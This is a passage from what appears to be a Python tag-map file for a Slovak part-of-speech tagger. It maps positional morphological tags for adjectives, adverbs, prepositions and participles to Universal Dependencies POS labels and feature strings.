"AFms3x": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFms4x": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFms5x": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFms6x": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFms7x": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFnp1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Plur"},
"AFnp2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Plur"},
"AFnp3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Plur"},
"AFnp4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Plur"},
"AFnp5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Plur"},
"AFnp6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Plur"},
"AFnp7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Plur"},
"AFns1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Sing"},
"AFns2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Sing"},
"AFns3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Sing"},
"AFns4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Sing"},
"AFns5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Sing"},
"AFns6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Sing"},
"AFns7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Neut|MorphPos=Mix|Number=Sing"},
"AUfp1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Plur"},
"AUfp1y": {POS: ADJ, "morph": "Case=Nom|Degree=Cmp|Gender=Fem|MorphPos=Def|Number=Plur"},
"AUfp1z": {POS: ADJ, "morph": "Case=Nom|Degree=Sup|Gender=Fem|MorphPos=Def|Number=Plur"},
"AUfp2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Plur"},
"AUfp3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Plur"},
"AUfp4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Plur"},
"AUfp5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Plur"},
"AUfp6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Plur"},
"AUfp7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Plur"},
"AUfs1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Sing"},
"AUfs1y": {POS: ADJ, "morph": "Case=Nom|Degree=Cmp|Gender=Fem|MorphPos=Def|Number=Sing"},
"AUfs1z": {POS: ADJ, "morph": "Case=Nom|Degree=Sup|Gender=Fem|MorphPos=Def|Number=Sing"},
"AUfs2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Sing"},
"AUfs3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Sing"},
"AUfs4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Sing"},
"AUfs5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Sing"},
"AUfs6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Sing"},
"AUfs7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Fem|MorphPos=Def|Number=Sing"},
"AUip1x": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUip1y": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Cmp|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUip1z": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Sup|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUip2x": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUip3x": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUip4x": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUip5x": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUip6x": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUip7x": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUis1x": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUis1y": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Cmp|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUis1z": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Sup|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUis2x": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUis3x": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUis4x": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUis5x": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUis6x": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUis7x": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUmp1x": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUmp1y": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Cmp|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUmp1z": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Sup|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUmp2x": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUmp3x": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUmp4x": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUmp5x": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUmp6x": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUmp7x": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Plur"},
"AUms1x": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUms1y": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Cmp|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUms1z": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Sup|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUms2x": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUms3x": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUms4x": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUms5x": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUms6x": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUms7x": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Def|Number=Sing"},
"AUnp1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Plur"},
"AUnp1y": {POS: ADJ, "morph": "Case=Nom|Degree=Cmp|Gender=Neut|MorphPos=Def|Number=Plur"},
"AUnp1z": {POS: ADJ, "morph": "Case=Nom|Degree=Sup|Gender=Neut|MorphPos=Def|Number=Plur"},
"AUnp2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Plur"},
"AUnp3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Plur"},
"AUnp4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Plur"},
"AUnp5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Plur"},
"AUnp6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Plur"},
"AUnp7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Plur"},
"AUns1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Sing"},
"AUns1y": {POS: ADJ, "morph": "Case=Nom|Degree=Cmp|Gender=Neut|MorphPos=Def|Number=Sing"},
"AUns1z": {POS: ADJ, "morph": "Case=Nom|Degree=Sup|Gender=Neut|MorphPos=Def|Number=Sing"},
"AUns2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Sing"},
"AUns3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Sing"},
"AUns4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Sing"},
"AUns5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Sing"},
"AUns6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Sing"},
"AUns7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Neut|MorphPos=Def|Number=Sing"},
"Dx": {POS: ADV, "morph": "Degree=Pos"},
"Dy": {POS: ADV, "morph": "Degree=Cmp"},
"Dz": {POS: ADV, "morph": "Degree=Sup"},
"Eu1": {POS: ADP, "morph": "AdpType=Prep|Case=Nom"},
"Eu2": {POS: ADP, "morph": "AdpType=Prep|Case=Gen"},
"Eu3": {POS: ADP, "morph": "AdpType=Prep|Case=Dat"},
"Eu4": {POS: ADP, "morph": "AdpType=Prep|Case=Acc"},
"Eu6": {POS: ADP, "morph": "AdpType=Prep|Case=Loc"},
"Eu7": {POS: ADP, "morph": "AdpType=Prep|Case=Ins"},
"Ev2": {POS: ADP, "morph": "AdpType=Voc|Case=Gen"},
"Ev3": {POS: ADP, "morph": "AdpType=Voc|Case=Dat"},
"Ev4": {POS: ADP, "morph": "AdpType=Voc|Case=Acc"},
"Ev6": {POS: ADP, "morph": "AdpType=Voc|Case=Loc"},
"Ev7": {POS: ADP, "morph": "AdpType=Voc|Case=Ins"},
"Gkfp1x": {POS: VERB, "morph": "Case=Nom|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp1y": {POS: VERB, "morph": "Case=Nom|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp1z": {POS: VERB, "morph": "Case=Nom|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp2x": {POS: VERB, "morph": "Case=Gen|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp2y": {POS: VERB, "morph": "Case=Gen|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp2z": {POS: VERB, "morph": "Case=Gen|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp3x": {POS: VERB, "morph": "Case=Dat|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp3y": {POS: VERB, "morph": "Case=Dat|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp3z": {POS: VERB, "morph": "Case=Dat|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp4x": {POS: VERB, "morph": "Case=Acc|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp4y": {POS: VERB, "morph": "Case=Acc|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp4z": {POS: VERB, "morph": "Case=Acc|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp5x": {POS: VERB, "morph": "Case=Voc|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp5y": {POS: VERB, "morph": "Case=Voc|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp5z": {POS: VERB, "morph": "Case=Voc|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp6x": {POS: VERB, "morph": "Case=Loc|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp6y": {POS: VERB, "morph": "Case=Loc|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp6z": {POS: VERB, "morph": "Case=Loc|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp7x": {POS: VERB, "morph": "Case=Ins|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp7y": {POS: VERB, "morph": "Case=Ins|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfp7z": {POS: VERB, "morph": "Case=Ins|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Act"},
"Gkfs1x": {POS: VERB, "morph": "Case=Nom|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Act"},
"Gkfs1y": {POS: VERB, "morph": "Case=Nom|Degree=Cmp|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Act"},
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"Gkfs2x": {POS: VERB, "morph": "Case=Gen|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Act"},
"Gkfs2y": {POS: VERB, "morph": "Case=Gen|Degree=Cmp|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Act"},
"Gkfs2z": {POS: VERB, "morph": "Case=Gen|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Act"},
"Gkfs3x": {POS: VERB, "morph": "Case=Dat|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Act"},
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"Gkfs3z": {POS: VERB, "morph": "Case=Dat|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Act"},
"Gkfs4x": {POS: VERB, "morph": "Case=Acc|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Act"},
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"Gkfs7z": {POS: VERB, "morph": "Case=Ins|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Act"},
"Gkip1x": {POS: VERB, "morph": "Animacy=Inan|Case=Nom|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Act"},
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"Gtfp4x": {POS: VERB, "morph": "Case=Acc|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp4y": {POS: VERB, "morph": "Case=Acc|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp4z": {POS: VERB, "morph": "Case=Acc|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp5x": {POS: VERB, "morph": "Case=Voc|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp5y": {POS: VERB, "morph": "Case=Voc|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp5z": {POS: VERB, "morph": "Case=Voc|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp6x": {POS: VERB, "morph": "Case=Loc|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp6y": {POS: VERB, "morph": "Case=Loc|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp6z": {POS: VERB, "morph": "Case=Loc|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp7x": {POS: VERB, "morph": "Case=Ins|Degree=Pos|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp7y": {POS: VERB, "morph": "Case=Ins|Degree=Cmp|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfp7z": {POS: VERB, "morph": "Case=Ins|Degree=Sup|Gender=Fem|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtfs1x": {POS: VERB, "morph": "Case=Nom|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs1y": {POS: VERB, "morph": "Case=Nom|Degree=Cmp|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs1z": {POS: VERB, "morph": "Case=Nom|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs2x": {POS: VERB, "morph": "Case=Gen|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs2y": {POS: VERB, "morph": "Case=Gen|Degree=Cmp|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs2z": {POS: VERB, "morph": "Case=Gen|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs3x": {POS: VERB, "morph": "Case=Dat|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs3y": {POS: VERB, "morph": "Case=Dat|Degree=Cmp|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs3z": {POS: VERB, "morph": "Case=Dat|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs4x": {POS: VERB, "morph": "Case=Acc|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs4y": {POS: VERB, "morph": "Case=Acc|Degree=Cmp|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs4z": {POS: VERB, "morph": "Case=Acc|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs5x": {POS: VERB, "morph": "Case=Voc|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs5y": {POS: VERB, "morph": "Case=Voc|Degree=Cmp|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs5z": {POS: VERB, "morph": "Case=Voc|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs6x": {POS: VERB, "morph": "Case=Loc|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs6y": {POS: VERB, "morph": "Case=Loc|Degree=Cmp|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs6z": {POS: VERB, "morph": "Case=Loc|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs7x": {POS: VERB, "morph": "Case=Ins|Degree=Pos|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs7y": {POS: VERB, "morph": "Case=Ins|Degree=Cmp|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtfs7z": {POS: VERB, "morph": "Case=Ins|Degree=Sup|Gender=Fem|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtip1x": {POS: VERB, "morph": "Animacy=Inan|Case=Nom|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip1y": {POS: VERB, "morph": "Animacy=Inan|Case=Nom|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip1z": {POS: VERB, "morph": "Animacy=Inan|Case=Nom|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip2x": {POS: VERB, "morph": "Animacy=Inan|Case=Gen|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip2y": {POS: VERB, "morph": "Animacy=Inan|Case=Gen|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip2z": {POS: VERB, "morph": "Animacy=Inan|Case=Gen|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip3x": {POS: VERB, "morph": "Animacy=Inan|Case=Dat|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip3y": {POS: VERB, "morph": "Animacy=Inan|Case=Dat|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip3z": {POS: VERB, "morph": "Animacy=Inan|Case=Dat|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip4x": {POS: VERB, "morph": "Animacy=Inan|Case=Acc|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip4y": {POS: VERB, "morph": "Animacy=Inan|Case=Acc|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip4z": {POS: VERB, "morph": "Animacy=Inan|Case=Acc|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip5x": {POS: VERB, "morph": "Animacy=Inan|Case=Voc|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip5y": {POS: VERB, "morph": "Animacy=Inan|Case=Voc|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip5z": {POS: VERB, "morph": "Animacy=Inan|Case=Voc|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip6x": {POS: VERB, "morph": "Animacy=Inan|Case=Loc|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip6y": {POS: VERB, "morph": "Animacy=Inan|Case=Loc|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip6z": {POS: VERB, "morph": "Animacy=Inan|Case=Loc|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip7x": {POS: VERB, "morph": "Animacy=Inan|Case=Ins|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip7y": {POS: VERB, "morph": "Animacy=Inan|Case=Ins|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtip7z": {POS: VERB, "morph": "Animacy=Inan|Case=Ins|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtis1x": {POS: VERB, "morph": "Animacy=Inan|Case=Nom|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis1y": {POS: VERB, "morph": "Animacy=Inan|Case=Nom|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis1z": {POS: VERB, "morph": "Animacy=Inan|Case=Nom|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis2x": {POS: VERB, "morph": "Animacy=Inan|Case=Gen|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis2y": {POS: VERB, "morph": "Animacy=Inan|Case=Gen|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis2z": {POS: VERB, "morph": "Animacy=Inan|Case=Gen|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis3x": {POS: VERB, "morph": "Animacy=Inan|Case=Dat|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis3y": {POS: VERB, "morph": "Animacy=Inan|Case=Dat|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis3z": {POS: VERB, "morph": "Animacy=Inan|Case=Dat|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis4x": {POS: VERB, "morph": "Animacy=Inan|Case=Acc|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis4y": {POS: VERB, "morph": "Animacy=Inan|Case=Acc|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis4z": {POS: VERB, "morph": "Animacy=Inan|Case=Acc|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis5x": {POS: VERB, "morph": "Animacy=Inan|Case=Voc|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis5y": {POS: VERB, "morph": "Animacy=Inan|Case=Voc|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis5z": {POS: VERB, "morph": "Animacy=Inan|Case=Voc|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis6x": {POS: VERB, "morph": "Animacy=Inan|Case=Loc|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis6y": {POS: VERB, "morph": "Animacy=Inan|Case=Loc|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis6z": {POS: VERB, "morph": "Animacy=Inan|Case=Loc|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis7x": {POS: VERB, "morph": "Animacy=Inan|Case=Ins|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis7y": {POS: VERB, "morph": "Animacy=Inan|Case=Ins|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtis7z": {POS: VERB, "morph": "Animacy=Inan|Case=Ins|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtmp1x": {POS: VERB, "morph": "Animacy=Anim|Case=Nom|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp1y": {POS: VERB, "morph": "Animacy=Anim|Case=Nom|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp1z": {POS: VERB, "morph": "Animacy=Anim|Case=Nom|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp2x": {POS: VERB, "morph": "Animacy=Anim|Case=Gen|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp2y": {POS: VERB, "morph": "Animacy=Anim|Case=Gen|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp2z": {POS: VERB, "morph": "Animacy=Anim|Case=Gen|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
